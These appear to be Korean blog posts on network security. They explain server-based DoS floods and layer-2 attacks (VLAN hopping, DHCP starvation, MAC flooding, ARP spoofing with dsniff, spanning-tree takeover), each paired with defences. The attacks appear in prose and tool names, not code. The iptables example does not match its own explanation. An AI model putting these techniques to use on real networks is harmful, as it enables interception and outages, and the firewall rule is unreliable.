    이 역시 nobody 권한을 획득 후 wget 등으로 대량의 패킷을 생성할 수 있는 공격 파일을 다운로드 해 특정 네트워크나 서버로 공격하는 것이다. 이런 경우 대량의 패킷 트래픽을 유발해 네트워크 장비가 패킷 전송을 제대로 하지 못해 up&down을 반복하면서 네트워크 장애가 발생한다. 물론 일부 공격 형태에 따라서는 bps(bits per second)가 동반 상승하는 경우도 있지만, bps보다는 pps가 더욱 중요하다.
    실제 테스트를 해 보면 특정 코드의 경우 10만 pps 이상 유발되며, 이 정도면 저사양 라우터 등 3계층 이상 장비들(4계층 스위치, 파이어월, 7계층 장비 등)은 최대 용량 초과로 다운된다. 네트워크 장비의 경우 pps는 SNMP를 이용한 MRTG로, 리눅스의 경우 IPtraf를 이용하면 즉시 측정할 수 있다.
    (화면 3)는 MRTG로 pps를 측정한 것인데, 오전 4시경부터 평소의 1만 pps에서 96만 pps까지 상승한 것을 알 수 있다.  
     
    화면 3 | MRTG로 측정한 pps

    IPtraf는 홈페이지(http://iptraf.seul.org)에서 다운로드할 수 있으며, 프로그램을 실행한 뒤 'Detailed interface statistics'를 선택해 측정할 인터페이스를 선정하면 해당 인터페이스를 통과하는 패킷의 bps와 pps를 실시간으로 확인할 수 있다. 다음은 실제 대량의 pps를 유발하는 DoS 공격툴을 실행할 때 캡처된 수치로, 단방향으로 10만 pps 이상의 프래픽이 유발되는 것을 알 수 있다. 

    화면 4 | IPtraf를 실행하여 pps를 모니터링 하는 화면


    최근 들어 곳곳에서 확인되는 위협적인 Dos 공격에 어떻게 대응해야 할까. 다음과 같은 방법을 그 해결책으로 꼽을 수 있다.

    ① wget, curl, lynx 등의 퍼미션을 700 등으로 제한하거나 삭제한다.
    앞에서도 살펴본 바와 같이 취약성을 통해 시스템 명령어를 실행할 수 있는 상태가 되면 상위 권한 획득, 스팸 메일 발송 등을 위해 외부에서 다운로드를 위한 wget이나 curl,  lynx 등을 이용한다. 따라서 이 파일의 퍼미션을 차단하면 일반 사용자 권한으로 외부에서 악성코드의 다운로드가 어려워진다. 물론 wget 등을 차단해도 ftp를 이용하거나 게시판을 통한 파일 업로드 등을 이용할 수 있다.

    ② 웹 서버에서 특정 URI를 필터링하도록 한다.
    앞에서 awstats의 공격 사례를 살펴본 것처럼 HTTP의 GET 메소드를 통해 공격할 경우 URI에 시스템 명령어 등 각종 공격 기법이 그대로 노출된다. 따라서 URI에 보이는 명령어를 필터링하면 되는데, 아파치 웹 서버의 경우 자체적으로 URI 필터링 기능을 제공하지 않으므로 별도의 Rewrite나 ModSecurity 모듈을 이용한다.

    ③ IPtables를 이용해 패킷을 차단한다.
    아웃바운드 UDP 트래픽이 문제가 되는 것이므로 IPtables를 이용해 차단하는 방법도 고려할 수 있다. 상태 추적을 이용하면 해당 트래픽만 차단할 수 있는데, 일반적으로 정상적인 UDP 트래픽은 DNS 외에는 없으므로 DNS만 고려해 실행하면 된다.
    다음은 아웃바운드 트래픽 중 목적지 IP가 168.126.63.1이면서 목적지 포트가 53번이 아닌 UDP 트래픽을 차단하는 과정이다. 만약 참조하는 DNS 서버가 168.126.63.1이 아니면 적절한 IP를 지정하면 된다.
     
      # iptables -A OUTPUT -p udp ! -d 168.126.63.1 --dport 53
           -m state --state NEW -j DROP

    이 명령어는 상태추적에서 처음 보이는 아웃바운드 UDP 트래픽 중 목적지 IP가  168.126.63.1이고, 목적지 포트가 53번인 패킷은 제외하고 차단한다는 것이다. 만약 자체적으로 resolvong DNS 서버를 운영해 임의의 도메인에 대한 룩업 서비스를 제공한다면 모든 DNS 서버로 질의를 할 수 있다. 이 경우에는 목적지 IP를 0/0으로 변경하면 된다.

    최근 해킹 양상이 단순한 흥미와 영웅심리가 아닌 상업적으로 악용되면서 두 번째 Dos 공격의 경우가 자주 확인되고 있으므로, 궁극적으로는 일반 사용자 권한을 빼앗기지 않도록 보안을 강화하는 것이 더욱 중요할 것이다.

    2006/09/08 15:56 2006/09/08 15:56
    이 글에는 트랙백을 보낼 수 없습니다

    스위치 계층(L2)은 건축물의 기둥에 해당하는 부분으로 입구경비와 외관 등을 완벽하게 지키더라도 기둥이 무너지면 아무런 의미가 없는 것처럼, 스위치에 연결된 각종 호스트 및 서버의 안정적인 운영을 위해 스위치 계층의 보안은 고려해야 한다. 단 스위치 계층의 특성상 해당 네트워크에 연결돼야만 공격이 가능하므로, 물리적 보안과 관리적 보안의 중요성도 잊지 말아야 할 것이다.


    VLAN 공격

    VLAN(Virtual LAN)은 스위치의 물리적인 네트워크를 네트워크 관리자가 필요에 따라 좀 더 작은 논리적인 네트워크로 분리하는 것을 의미한다. 1대의 물리적인 스위치를 논리적으로 분리한다는 것은 포트기반, 프로토콜 기반, 서브넷 기반으로 분리할 수 있으며, 벤더에 따라 지원하는 기준은 상이하다. <그림 1>은 포트 기반 VLAN을 구성한 예로, VLAN 1과 VLAN 2의 호스트간에는 통신이 되지 않는다.

    VLAN으로 분리한 구성에도 필요상 모든 VLAN이 교집합처럼 공통적으로 액세스가 가능해야 할 포트가 요구될 때도 있다. <그림 1>에서 만약 모든 호스트가 인터넷을 접속해야 하며, 인터넷망과 연결된 라우터가 1대라면 라우터는 어느 포트에 연결을 해야 할까?



    <그림1> 정상적인 MAC 테이블 동작



    VLAN 1과 VLAN 2가 동시에 액세스할 수 있는 포트가 필요하다. 이러한 포트를 트렁크(Trunk) 포트라고 하며, 트렁크 포트는 여러 개의 VLAN을 중복할 수 있다. 트렁크 설정은 IEEE 802.1Q 또는 시스코의 ISL(Inter-Switch Link) 방식으로 패킷을 변조하는데, 기술적인 용어로는 태깅(tagging)한다고 하며, ISL의 경우 시스코에서만 사용되는 고유한 방식이다. 801.1Q 태깅은 정상적인 패킷 내에 801.1Q 태그 정보가 삽입되게 된다.

    보안 위협

    ① 베이직 VLAN 호핑 공격

    이 공격은 네트워크 공격의 일종으로, 정상적인 경우 서로 다른 VLAN 내의 호스트간에는 통신을 하지 못하므로 공격자 역시 통신이 불가능하지만 공격자는 가능하도록 한다. 공격자 자신이 스위치처럼 위장하고, 변조된 ISL 혹은 802.1Q의 패킷을 스위치로 전송해 스위치와 트렁크 포트로 연결됨으로써 VLAN과 관계없이 모든 네트워크로 접속할 수 있다.

    공격이 성공한 이유는 공격자와 연결된 스위치에서 트렁크 포트 설정이 관리자가 설정하는 방법 이외에 스위치가 자동적으로 설정하는 DTP 기능이 자동(AUTO)으로 설정되어 공격자가 요청한 트렁크 설정에 스위치가 트렁크 포트로 설정한 것이다.

    대부분의 스위치의 DTP기능이 자동으로 초기설정돼 있으며, 이것은 어떤 트렁크 포트의 설정 요청에도 트렁크 포트를 허용한다는 기능이므로 주의해야 한다.

    ② 더블 인캡슐레이티드 VLAN 호핑 공격

    간단히 정리하면, 공격자는 원하는 VLAN으로 접속하기 위한 트렁크 포트가 되기 위해 802.1Q의 패킷 변조를 2번하여 스위치를 공격하는 것이다. 스위치는 첫 802.1Q를 한 번 사용하고 다시 다른 스위치에서 두 번째 802.1Q를 사용하는 방식으로 802.1Q 패킷 변조가 2번이 되었음에도 불구하고, 스위치에서는 한 번만을 해석한다는 기능적인 취약점을 이용해 호핑(hopping)의 의미대로 깡총깡총 VLAN을 넘어다닌다.



    <그림3> 더블 인캡슐레이티드 VLAN 호핑 공격 사례



    <그림 3>은 공격자가 첫 번째 스위치와 두 번째 스위치에서 802.1Q 정보를 사용함으로써, 공격 대상으로의 접근이 가능하다. 이써리얼(Ethereal)이라는 패킷 스니핑 툴을 이용해 패킷을 정보를 분석해 보면 801.1Q 패킷변조가 2번 되어 있는 것을 확인할 수 있다.

    보호 대책

    우선 항상 모든 트렁크 포트에 대해서 일관적인 VLAN ID를 사용해야 한다. 즉 VLAN 구성 혹은 장비 설정시 즉흥적인 VLAN ID 할당이 아닌, 정책적이고 분류된 VLAN을 할당한다. 그 다음 사용하지 않는 포트는 꺼 놓은 후 사용하지 않는 VLAN으로 모두 포함시킨다. 여기에서 VLAN 1의 VLAN ID는 사용하지 않는다.

    VLAN을 지원하는 장비들의 초기 설정은 모든 포트가 VLAN 1으로 설정돼, 구매 후 별다른 VLAN 설정을 하지 않으면 모든 포트가 VLAN 1에 포함되어 있으므로 일반 스위치와 동일하게 사용할 수 있다.

    또한 벤더나 모델 구분 없이 모두 VLAN 1으로 초기설정돼 있으므로, VLAN을 지원하는 A사 제품과 B사 제품 구매 후에도 별다른 설정이 없으면 두 스위치끼리 트래픽이 전송된다. 만약 벤더마다 VLAN 초기설정이 각각 다르다면, 장비 설정을 변경하기 전에는 스위치간 트래픽 전송이 불가능한 사태를 예방하기 위함이다.

    마지막으로 일반 호스트(사용자)가 접속하는 포트들은 모두 논-트렁킹(DTP Off)으로 설정해야 한다. 일반 호스트와 연결된 포트가 트렁크 포트로 사용될 일은 극히 희박하므로, 트렁크 포트 변경될 수 없도록 한다.


    DHCP 고갈

    DHCP(Dynamic Host Configuration Protocol)란 호스트 등의 IP설정 시 사용자가 고정적으로 IP를 할당하지 않고 DHCP 서버에서 제공하는 IP, 서브넷 마스크, 게이트웨이와 DNS 등의 정보를 자동으로 할당받을 수 있는 기능이다. 이것은 수많은 호스트가 존재하는 네트워크 구성에서 관리자의 IP 관리의 효율성을 가져다 줄 수 있는 기능이지만 보안관점에서는 불합리한 점들이 있다.

    보안 위협

    DHCP 고갈(starvation) 공격은 위조된 MAC 주소로 포함해 DHCP 리퀘스트(request) 패킷을 브로드캐스트한다. 만약 리퀘스트가 충분히 많다면 공격자는 DHCP의 할당 가능한 모든 주소들을 소비시킬 수 있으며, 이것은 SYN 플루드(flood)와 같은 간단한 자원 고갈(resource starvation) 공격이라고 할 수 있다.

    이후 공격자는 DHCP 서버로 위장해 사용자들에게 DHCP 주소를 할당하지만, 할당하는 주소에는 잘못된 DNS, 게이트웨이 등의 정보를 포함하고 있으므로 사용자는 위조된 주소 정보로 데이터를 전송한다. 정상적인 네트워크 경로가 아닌 공격자에게 트래픽 전송으로 인한 여러 가지 문제점이 발생한다.

    보안 대책

    각 포트에서의 사용할 수 있는 MAC 주소를 제한함으로써 CAM 플루딩 공격을 방지하기 위한 방법과 마찬가지로 DHCP 고갈의 대책으로 사용할 수 있으나, 위장된 DHCP 서버를 통한 공격은 차단하지 못한다. 위장된 DHCP 서버를 이용한 공격을 차단하기 위해 RFC 3118의 ‘Authentication for DHCP Messages’에서 DHCP 메시지의 인증 방법을 이용하기도 했지만, 마침내 DHCP 옵션 82에서 근본적인 대책을 마련했다. DHCP 고갈 공격 가능성을 최소화하기 위해서는 네트워크 내의 안전한 네트워트 지역내에 여러 대의 DHCP 서버를 구성하는 것도 고려해 볼만 하다.


    사설 VLAN 공격

    사설(Private) VLAN의 핵심적인 기능은 같은 IP 서브넷 상의 시스템간 통신을 제한하기 위해 사용한다. 사설 VLAN에 포함된 포트들의 설정은 네트워크 구성을 고려해 트래픽 전송여부에 따라 결정된다.

    시스코의 경우 아이솔레이티드(isolated) 포트는 오직 프로미스큐어스(promiscuous) 포트와 통신이 가능하지만, 아이솔레이티드 포트간에는 통신이 차단된다. 공격자가 아이솔레이티드에 속해 있다면, 다른 아이솔레이티드 포트에 속해 있는 호트스를 공격하기 위해서는 사설 VLAN에 의해 차단되지 않아야 하므로, 사설 VLAN의 보안정책을 위배하는 공격을 시도한다.

    보안 위협

    공격자는 공격 대상 호스트에게 접근하려고 하지만, 사설 VLAN 정책에 서로 다른 아이솔레이티드 포트에 위치하고 있으므로 불가능하다.



    <그림4> 사설 VLAN 공격 사례



    공격자는 패킷을 위조해 라우터의 MAC 주소를 목적지로 하고 IP 주소는 공격 대상 주소로 하는 변조된 패킷을 전송한다(목적지 MAC:목적지 주소=C:2). 위조된 패킷을 수신한 스위치는 목적지 MAC 주소가 라우터이고, 라우터는 프로미스큐어스 포트에 연결돼 있으므로 스위치는 라우터로 공격자가 전송한 패킷을 전달한다(사설 VLAN의 정책에 위배되지 않음). 즉 스위치는 MAC 주소만을 보고 라우터로 전송한 것이다.

    패킷을 수신한 라우터는 IP 주소가 라우터 자신이 아닌 공격대상 호스트의 IP이므로, 목적지를 공격대상 호스트의 정상적인 MAC 주소로 변경(목적지 MAC:목적지 주소=C:2 → B:2 로 변경)해 스위치로 재 전송한다. 즉 라우터는 IP만을 보고 재 전송한 것이다.

    스위치는 라우터가 재전송한 패킷의 목적지의 MAC 주소가 공격 대상의 MAC 주소이므로 공격대상으로 전달한다. 결국 공격자는 스위치→라우터→스위치→공격 대상의 경로로 사설 VLAN 정책이 무의미하도록 통신을 하고 있다.

    보안 대책

    공격이 가능한 이유는 공격자의 위조된 패킷이 라우터로 접속이 가능했기 때문이므로, 라우터의 인터페이스에 ACL(Access Control List)을 설정해 차단해야 한다. ACL은 스위치와 연결된 인터페이스로 유입되는 IP 프로토콜 중 출발지, 목적지가 모두 내부 네트워크인 트래픽을 차단하도록 설정한다. 출발지와 목적지가 내부 네트워크인 트래픽은 라우터까지 전송되지 않고 스위치에서 전송할 수 있으므로, 라우터까지 도달할 필요가 없기 때문이다. 이러한 ACL 설정으로 공격자의 위조된 패킷이 스위치에서 라우터에 도달할 경우 차단된다.


    스위치 액세스

    장비 관리, 설정과 모니터링 등을 위해 스위치에는 IP를 할당하며 텔넷, http 등의 접속으로 직접 장비로 접속할 수 있다. 불법적인 접속을 차단하기 위해 계정 및 패스워드 인증으로 권한에 따라 모니터링 혹은 설정 변경이 가능하다. 물론 벤더마다 상이하지만, 공통적인 것은 인증절차를 제공하고 있다는 것이다. 보통 장비 구매 후 운영 네트워크에 설치할 때, 다음과 같은 과오를 자주 범한다.

    • 패스워드를 설정하지 않는다.
    • 패스워드는 간단한 것을 사용한다.
    • 장비 초기 설정된 패스워드를 그대로 사용한다.
    • 사용에 아무런 문제가 없으므로 초기 설정으로 그대로 사용한다.
    • 장비 설정시 정상적으로 동작하면 더 이상의 설정은 하지 않으며, 제공 기능들에 대해 고민하지 않는다.



    보안 위협

    공격자는 스위치의 IP정보, 벤더 및 장비명, 벤더별 장비의 초기 패스워드 정보 등을 쉽게 파악할 수 있으므로, 위와 같은 스위치 운영환경에서는 쉽게 장비로 로그인할 수 있다. 공격자가 장비로 직접 접속할 수 있다는 것은 매우 위험한 일이다.

    그 순간부터 공격자는 전지전능한 신이 되어 장비 설정 변경, 운영 펌웨어 삭제, 설정 내용 삭제, 설정 내용 백업, 특정 포트의 셧다운과 인에이블(enable) 반복, 리부팅 등 무수한 일을 할 수 있다. 장비에서 제공하는 모든 기능들을 검토하고 실습할 것이다.

    보안 대책

    레이어 2 계층의 스위치는 백본 스위치처럼 고성능의 고가의 장비가 아니므로 소홀한 경향이 현실인 것만은 분명하다. 그러나 스위치의 보안강화는 스위치와 연결된 모든 호스트 및 서버들의 정상적인 운영을 위한 기초가 되므로 다음과 같은 보안대책으로 안전한 스위치 운영의 토대를 마련해 보자.

    • 스위치의 패스워드는 중요 서버의 부트(root) 패스워드와 같은 수준으로 설정한다.
    • 패스워드 인증 이외에 계정입력 기능이 제공되면 활용하도록 한다.
    • 장비의 초기설정 계정 및 패스워드는 반드시 삭제 혹은 변경한다.
    • ACL을 활용한 접근제어를 설정한다. 관리자의 호스트 주소, 혹은 네트워크 대역만이 접속할 수 있도록 한다.
    • SNMP(Single Network Management Protocol) 기능을 사용하지 않을 경우 삭제하고, NMS(Network Management System)를 통한 관리를 하고자 할 경우 SNMP 커뮤니티를 패스워드 정책에 준하는 수준으로 변경한다. 공격자는 SNMP 커뮤니티만을 파악함으로써 90% 이상의 하드웨어 정보와 운영정보를 얻을 수 있다.
    • SSH, SSL 등 암호화된 프로토콜을 이용한 장비접속을 구현한다. 물론 장비의 지원여부를 확인해야 한다. 일반적인 텔넷 혹은 http의 경우 네트워크 스니핑으로 패스워드 등의 주요 정보가 노출될 수 있다.
    • 장비의 로깅 기능을 활용한다. 로그서버로의 전송을 설정하고 주기적인 로그분석으로 운영상태 점검 및 침해사고 대응의 기초자료로 활용한다.

    스위치 계층(L2)의 공격은 장비 공격과 트래픽 흐름을 변경하는 네트워크 공격으로 크게 분류할 수 있다. 장비공격은 스위치의 허술한 보안설정, 관리정책과 동작원리 등의 취약점을 이용한 공격이며, 네트워크 공격은 스위치 계층의 통신원리를 이용해 불법적으로 트래픽 흐름을 변조하는 공격이다. 이번 호에는 네트워크 공격에 해당되는 MAC 플루딩, ARP 스푸핑, 스패닝 트리 공격의 원리와 위협, 대책을 살펴본다.


    MAC 플루딩

    스위치의 지능적인 기능 중의 하나인 MAC 정보의 저장은 허브와 같은 공유된 이더넷 방식의 문제점을 해결하고 고성능을 제공하는 획기적인 기능이었지만, 스위치 역시 하드웨어이므로 저장할 수 있는 물리적 공간의 제약으로 저장 가능한 최대 MAC 주소가 제한된다. MAC 플루딩(Flooding) 공격은 이러한 점을 이용해 스니핑이 가능하도록 하는 공격 방법이다. 우선 정상적인 MAC 테이블의 동작을 살펴보자.



    <그림1> 정상적인 MAC 테이블 동작



    <그림 1>을 보면 현재 스위치에 저장된 MAC 정보는 포트 1과 3에 MAC A, C를 파악하고 있다. MAC A가 B와 통신하기 위해서 데이터를 전송하면, 스위치는 MAC B에 대한 저장된 정보가 없으므로, 플루딩을 실시한다. 플루딩이란 스위치가 MAC B에 대한 정보가 없어 허브의 동작과 동일하게 포트에 연결된 모든 호스트로 데이터들을 전송하는 것을 말한다. 스위치와 연결된 모든 호스트들은 MAC A가 전송한 데이터를 수신하며, 자신의 MAC 주소가 아닌 호스트들은 데이터를 폐기하지만, MAC B 호스트는 MAC A로 데이터를 전송한다. MAC B가 MAC A로 데이터를 전송하면, 스위치는 MAC B가 포트 2번에 연결되어 있음을 파악하고 MAC정보와 포트정보를 저장한다. 다시 MAC A가 MAC B와 통신을 할 경우 스위치는 저장된 MAC 정보를 이용해 플루딩하지 않고 바로 포트 2를 통해 MAC B로 전송하므로 MAC C에는 데이터가 전송되지 않는다.

    개요

    MAC 플루딩 공격은 한 포트에서 수 천 개의 호스트가 스위치와 연결되어 있는 것으로 보이지만 실제는 변조된 MAC 정보를 공격 호스트에서 발생시키는 것이다. macof라는 유명한 공격 툴은 약 130여줄의 C로 짜여진 프로그램으로 분당 15만5천개의 MAC 주소를 발생할 수 있다. 짧은 시간 대량의 위장된 MAC 주소를 특정 포트에서 발생시키면, 스위치는 발생된 MAC 주소를 내부에 저장하게 되는데 스위치의 하드웨어 공간 제약으로 인해 최대 저장할 수 있는 MAC 주소 공간이 위조된 MAC 주소로 채워지게 된다.

    공격이 진행되고 있는 상태에서 스위치와 연결된 정상적인 호스트가 통신할 때, 스위치의 MAC 정보에는 이미 공격자의 위조된 MAC 주소만이 존재한다. 이때 풀루딩이 가동된다. 플루딩 동작으로 데이터가 모든 호스트에 전달되므로, 공격자는 자신의 호스트에서 스니퍼를 이용한 스니핑이 가능하다.

    보안 위협

    스위치화된 이더넷 환경에서 불가능한 스니퍼를 이용한 스니핑이 가능하게 한다. 스니핑이 가능하다는 의미는 결국 스니핑으로 통한 주요 정보 유출이 가능하므로 허브 구성의 패킷 스니핑(Packet Sniffing)의 보안위협과 동일하게 된다.

    보안 대책

    MAC 플루딩 공격은 특정 호스트가 대량의 변조된 MAC 주소를 생성하므로 이를 차단하면 가능하다. 즉 각 포트마다 사용하는 MAC 주소를 스위치에 설정하거나, 포트마다 수용할 수 있는 최대 MAC 주소의 개수를 제한하는 것이다.

    스위치가 인식할 수 없는 MAC 주소를 감지하게 되면 해당 MAC 주소를 차단하거나, 포트를 사용하지 못하도록 하는데, 이러한 기능은 네트워크 장비 벤더와 장비 모델에 따라 지원여부를 확인해야 한다. 일례로 시스코 경우는 포트 보안(Port Security)이라는 기능이며, 해당장비와 자세한 기술정보는 <표 1>과 같다.

    <표1> 시스코 포트 보안
    지원장비
    Cat 29XX, 4K, 5K, and 6K in CatOS 5.2; 29/3500XL in 11.2(8)SA; 2950 in 12.0(5.2)WC(1); 3550 in 12.1(4)EA1
    기술정보
    Http://cisco.com/univercd/cc/td/doc/product/lan/cat5000/rel_5_4/
    config/sec_port.htm



    ARP 스푸핑

    ARP 스푸핑(spoofing)은 MAC 플루딩처럼 스위치를 직접적으로 공격하는 유형이 아니라, 트래픽의 흐름을 변경하는 트래픽 흐름 변경(traffic redirection) 형태의 공격이다. 일반적으로 네트워크 내의 호스트 A가 C와 통신을 하고자 할 때, 호스트 A는 네트워크 상에 ARP 요청(request)을 브로드캐스트(broadcast)하고 ARP 리퀘스트를 수신한 네트워크상의 모든 호스트 중 해당 호스트 C가 자신의 MAC 주소를 포함해 ARP 회신(reply)을 A로 전송한다.

    스위치화된 네트워크 환경에서도 ARP 요청은 네트워크로 브로드캐스트된다.

    공격자의 호스트가 B라고 하면, 공격자 역시 ARP 요청 정보를 수신하고, 호스트 A로 변조된 ARP 회신을 전송하되, 자신의 MAC 주소로 변조돼 있다.

    변조된 ARP 회신 응답을 수신한 호스트 A는 자신이 파악한 C의 MAC 주소로 통신을 하지만, 실제로 A가 알고 있는 MAC 주소는 C의 MAC 주소가 아닌 공격자가 변조해서 전송한 공격자 호스트 B의 MAC 주소이므로, 실제 통신은 공격자 호스트다. 이러한 공격이 트래픽 흐름 변경을 이용한 공격이다.

    개요

    ARP 스푸핑 공격은 스위치로의 직접적인 공격이 아닌 트래픽의 흐름을 변경하는 트래픽 흐름 변경 공격이라고 언급했다.

    과연 공격자가 트래픽 흐름 변경 기능으로 무엇을 할 수 있을까? 공격자는 위조된 ARP 회신 패킷을 전송함으로써 네트워크에 존재하는 호스트의 ARP 테이블에 공격자의 MAC 주소를 모두 성공적으로 업데이트했지만, 이것만으로는 완벽한 공격의 성공이라고 보기는 어렵다.

    비록 MAC 주소의 변조로 공격자의 호스트로 트래픽이 전달되더라도 공격자가 통신하는 응답을 정상적으로 제공해야만 공격자가 있음을 알지 못하고 계속 통신을 할 것이다. 비정상적인 통신 응답이 발생하면 접속을 중지하든지 혹은 원인 파악을 위해 노력하므로, 공격자는 더 이상의 정보를 얻을 수 없다.



    <그림> ARP 스푸핑 공격



    <그림 2>는 공격자가 ARP 스푸핑을 이용해 호스트의 서버 접속, 인터넷 접속이 공격자를 경유하고 있음을 보여준다. 공격자는 서버로 접속하는 프로토콜(텔넷과 같은)과 인터넷 접속에 사용하는 프로토콜(웹 서비스와 같은)을 호스트에게 정상적인 응답을 전달해야만 가능하다.

    그러므로 ARP 스푸핑 공격과 함께 공격자는 호스트가 통신하고자 하는 프로토콜(웹, ftp, 텔넷, 이메일 등)을 정상적으로 이용할 수 있도록 일종의 서비스 제공 기능을 갖춰야 한다. 일부 알려진 툴들은 이러한 서비스들을 놀라울 정도로 제공한다. <그림 3>은 arpspoof라는 툴을 이용해 10.5.1.109의 ARP정보가 변조됨을 알 수 있다. 공격자는 계속 arpspoof 공격을 진행하면서, 정상적인 사용자가 이용할 프로토콜에 대해 서비스를 제공함으로써 패스워드 정보 등 불법적으로 정보를 수집해야 할 것이다.

    패스워드 전문 스니핑 툴 중에 dsniff라는 툴이 있는데, 30여가지 이상의 표준 프로토콜 혹은 애플리케이션 프로토콜을 선택적으로 이용할 수 있다. 이를 나열하면 FTP, 텔넷, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP MS-CHAP, NFS, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, 넵스터(Napster), PostgreSQL, 미팅 메이커(Meeting Maker), 시트릭스 ICA, 시만텍 피씨애니웨어, NAI 스니퍼, 마이크로소프트 SMB, 오라클 SQL쪻Net, 사이베이스 et Microsoft SQL 등이다.

    <그림 4>는 dsniff를 이용해 웹서비스(http)의 계정 및 패스워드를 파악한 예이다. 공격자는 dnsspoof를 이용해 dsniff가 설치된 호스트로 DNS정보를 변조할 수 있다. 분명 www.amazon.com의 DNS 조회결과는 15.1.1.25가 아닐 것이다. 심지어 dniff는 SSL과 SSH 세션까지도 가로챈 뒤 거짓 인증서 정보를 제공할 수도 있다. 또한 dsniff는 Arpspoof, Dnsspoof, Dsniff, Filesnarf, Macof, Mailsnarf, Msgsnarf, Tcpkill, Tcpnice, Urlsnarf, Webspy, Sshmitm, Webmitm 등의 툴들이 구성요소로 포함되어 있어 다양한 공격도 가능하다.

    보안 위협

    누차 강조하지만 ARP 스푸핑은 스위치로의 직접적인 공격이 아니라 트래픽 흐름을 변경하는 트래픽 흐름 변경 공격 유형이다. 따라서 단순하게 ARP 스푸핑 공격만을 이용하기보다는 여러 가지 툴들을 이용해 조합된 공격을 하는 것이 특징이다.

    MAC 플루딩 공격보다 좀 더 지능적이며, 모든 트래픽이 공격자의 호스트로 전송되므로 트래픽 분석을 통한 주요 정보 유출 가능성이 존재하는 스니핑의 전형적인 보안 위협과 동일하다.

    보안 대책

    우선 존알람(ZoneAlarm) 등과 같은 개인방화벽 제품(상용/프리웨어 포함)들을 이용해 공격을 탐지할 수 있다. 물론 제품에 따라서 기능 지원 차이가 있으므로 확인해 보는 것도 좋다. 스니핑의 필수조건인 프로미스큐어스 모드(promiscuous mode)의 네트워크 카드를 탐지하는 전용 툴을 사용하는 것도 시도해 볼 만 하다.

    ARP 와치(Watch)도 ARPspoof 공격의 보안대책으로 매우 효과적이다. arpwatch라는 툴은 호스트들의 ARP 정보를 모니터링하고 있으며, 중복되는 경우 탐지해 알람 등의 방법으로 관리자에게 알려주게 된다. 하지만 무엇보다 장비의 보안설정을 강화하는 것이야말로 핵심이다.

    이는 네트워크장비에서 제공하는 보안기능을 활용하면 된다. 물론 장비 벤더, 모델마다 기능지원 여부 등이 상이하므로 확인해 봐야 한다.

    시스코의 경우 개인 가상랜(private VLAN) 기능을 이용하여 arpspoof에 대한 대책을 세울 수 있다. 개인 가상랜은 동일한 가상랜 내에서 포트 단위로 분리할 수 있는 기능으로, promiscuous/ isolated/ community의 포트 속성을 정의함으로써 트래픽 이동에 대한 제한이 가능하다.


    스패닝 트리

    스패닝 트리(Spanning Tree)는 레이어 2 계층에서 네트워크 무장애 운영을 위한 스위치의 리던던트 구성시 트래픽 전송의 물리적인 복수경로로 인한 트래픽의 루핑(looping) 현상을 막기 위한 기능으로, STP는 스패닝 트리 프로토콜의 약자다.



    <그림5> 스패닝 트리 공격 사례



    <그림 5>의 경우, 호스트 A와 B간 통신을 하는 구간이 다중으로 구성되어 있으나, STP에 의해 4번과 3번 스위치의 연결을 논리적으로 차단함으로써 트래픽 전송은 Aa 1a 2a 3a B의 경로로 전달된다. STP를 구현하는 환경에서는 스위치가 부팅하면, 루핑을 방지하기 위한 일련의 과정이 시작된다. 스위치는 루트 스위치라는 루트 브리지가 발견되면, 자신과 연결된 이중화 경로를 모두 차단하고 오직 루트 스위치와 연결된 경로만으로 트래픽을 전송함으로써, 트래픽 경로를 결정하게 된다.

    루트 스위치를 경유한 트래픽 전송 경로가 선정되므로 루트 스위치를 잘못 설정하면 최적의 경로가 설정되지 못할 수도 있다. STP는 BPDU(Bridge Port Data Unit) 메시지라는 것을 상호 교환함으로써 STP의 모든 과정을 진행하고 판단한다.

    개요

    <그림 5>를 살펴보면 STP 구동을 1번 스위치가 루트가 되어 2번 스위치와 트래픽을 송수신하고 있다. 이때 공격자는 변조된 BPDU 메시지를 전송하여 강제로 스패닝 트리의 계산을 다시 하도록 함으로써 자신이 루트가 된다.

    공격자가 루트가 됨으로써 트래픽 전송 경로는 1번-공격자-2번 스위치의 전송경로로 변경되며, 이때 공격자의 호스트는 브리지 역할을 수행하거나, 허브와 같은 장비를 이용하여 트래픽을 정상적으로 전달한다.

    즉 트래픽 흐름을 끊기지 않게 한다는 것이다. 공격자는 자신의 호스트에 스니퍼 등의 스니핑 툴을 설치하여 불법적인 정보수집이 가능하다.

    또한 일종의 DoS(Denial of Service) 공격 형태가 될 수 있다. 만약 1번과 2번 스위치 구간이 기가비트의 물리적인 대역을 통해 대량의 트래픽이 전송되고 있었는데, 공격자를 경유한 전송경로의 변경으로 기가비트 대역폭 대신 공격자를 경유한 10M 대역폭 구간으로 트래픽이 전송된다면 대역폭 부족으로 인한 패킷유실 및 공격자의 트래픽 전송이 저성능으로 네트워크의 성능 저하를 초래한다.

    보안 대책

    스패닝 트리 공격이 가능한 이유는 공격자가 BPDU 메시지를 스위치로 전송해 자신이 루트 스위치가 됨으로써, 전송경로가 변경되어 가능했다. 그렇다면 불법적으로 BPDU 메시지를 수용하지 않으면 공격은 불가능할 것이다. 각 네트워크 장비벤더에서는 BPDU 메시지의 전송으로 인한 문제점을 제거하기 위해서 여러 가지 기능을 제공하므로 기능들을 확인해야 한다.

    시스코의 경우 스위치에 BPDU 가드 기능을 이용해 불필요한 스위치에 BPUD 메시지를 수용하지 않도록 하거나, 루트 가드(Root Guard) 기능을 이용해 BPDU 메시지로 인해 불필요한 스위치가 루트가 되지 않도록 설정하는 방법이 있다.

    스패닝 트리는 중규모 이상의 네트워크에서 레이어 2 계층의 리던던트 구성을 하는 경우가 있으므로 네트워크 관리자는 스패닝 트리를 이용하는 장비의 보안기능을 검토, 적용해야 할 것이다.


    오늘날 인터넷이 없는 생활은 상상하기도 어려운 일이다. 인터넷의 근간이 되는 TCP/IP 통신은 라우터, 스위치, 허브 등 TCP/IP 기반에서 동작하는 네트워크 장비들의 물리적 구성으로 이뤄져 있다. 이 가운데 각종 애플리케이션 서버, 3계층 동작의 라우터와 백본 스위치 등에 대한 보안 투자는 활발히 이뤄지는 반면, 2계층의 보안은 상대적으로 미비한 수준이다.


